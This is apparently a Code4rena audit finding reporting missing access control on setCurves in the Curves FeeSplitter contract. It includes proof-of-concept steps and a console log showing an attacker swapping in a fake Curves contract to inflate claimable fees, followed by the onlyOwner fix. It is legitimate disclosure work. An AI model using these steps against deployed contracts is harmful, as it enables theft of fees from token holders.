Unauthorized Access to setCurves Function

[c4-bot-3]

Lines of code

https://github.com/code-423n4/2024-01-curves/blob/main/contracts/FeeSplitter.sol#L35

Vulnerability details

Impact

The FeeSplitter.sol contract, which is responsible for fee distribution and claiming, contains a significant security vulnerability related to the setCurves function. This function allows updating the reference to the Curves contract. However, as it currently stands, any user, including a malicious actor, can call setCurves. This vulnerability can be exploited to redirect the contract's reference to a fake or malicious Curves contract (FakeCurves.sol), enabling manipulation of critical calculations used in fee distribution.

The exploit allows an attacker to set arbitrary values for curvesTokenBalance and curvesTokenSupply in the fake Curves contract. By manipulating these values, the attacker can falsely inflate their claimable fees, leading to unauthorized profit at the expense of legitimate token holders.

Proof of Concept

Steps:

1. Deploy the FeeSplitter and FakeCurves contracts.
2. As an attacker, call setCurves on FeeSplitter to update the curves reference to the deployed FakeCurves contract.
3. Manipulate curvesTokenBalance and curvesTokenSupply in FakeCurves to create false balances and supplies.
4. Call getClaimableFees in FeeSplitter to calculate inflated claimable fees based on the manipulated values.
5. Observe that the attacker is able to claim fees that they are not entitled to.

Code:

>>> feeRedistributor.getClaimableFees(randomToken, attacker)
0
>>> feeRedistributor.setCurves(fakeCurves,{'from': attacker})
Transaction sent: 0x6480994a739ab1541d4eb596fd73a49d55b59b6c7080a7cbb10d0b72f619b799
  Gas price: 0.0 gwei   Gas limit: 12000000   Nonce: 9
  FeeSplitter.setCurves confirmed   Block: 17   Gas used: 27607 (0.23%)

<Transaction '0x6480994a739ab1541d4eb596fd73a49d55b59b6c7080a7cbb10d0b72f619b799'>
>>> fakeCurves.setCurvesTokenSupply(randomToken, 250, {'from': attacker})
Transaction sent: 0xd9c0938f9876348657bf5ef8e7e84706b0ddf287da69169716ca6af22a3c059d
  Gas price: 0.0 gwei   Gas limit: 12000000   Nonce: 10
  FakeCurves.setCurvesTokenSupply confirmed   Block: 18   Gas used: 22786 (0.19%)

<Transaction '0xd9c0938f9876348657bf5ef8e7e84706b0ddf287da69169716ca6af22a3c059d'>
>>> fakeCurves.setCurvesTokenBalance(randomToken, attacker, 249, {'from': attacker})
Transaction sent: 0x742b4aac4d03210fc4869a75dd625fdbf52838655f57ddf8e028dfbaa6818932
  Gas price: 0.0 gwei   Gas limit: 12000000   Nonce: 11
  FakeCurves.setCurvesTokenBalance confirmed   Block: 19   Gas used: 23361 (0.19%)

<Transaction '0x742b4aac4d03210fc4869a75dd625fdbf52838655f57ddf8e028dfbaa6818932'>
>>> feeRedistributor.getClaimableFees(randomToken, attacker)
996000000000000000

Tools Used

Manual pentest

Recommended Mitigation Steps

To mitigate this vulnerability, the setCurves function in FeeSplitter.sol should be restricted to be callable only by the owner or a trusted manager. This can be achieved by using the onlyOwner or onlyManager modifier (from the inherited Security.sol contract) in the setCurves function.

The modified setCurves function should look like this:

function setCurves(Curves curves_) public onlyOwner {
    curves = curves_;
}

or, if managers are also trusted to perform this action,

function setCurves(Curves curves_) public onlyManager {
    curves = curves_;
}

Assessed type

Access Control

[c4-pre-sort]

raymondfam marked the issue as primary issue

[c4-pre-sort]

raymondfam marked the issue as sufficient quality report

[c4-sponsor]

andresaiello (sponsor) confirmed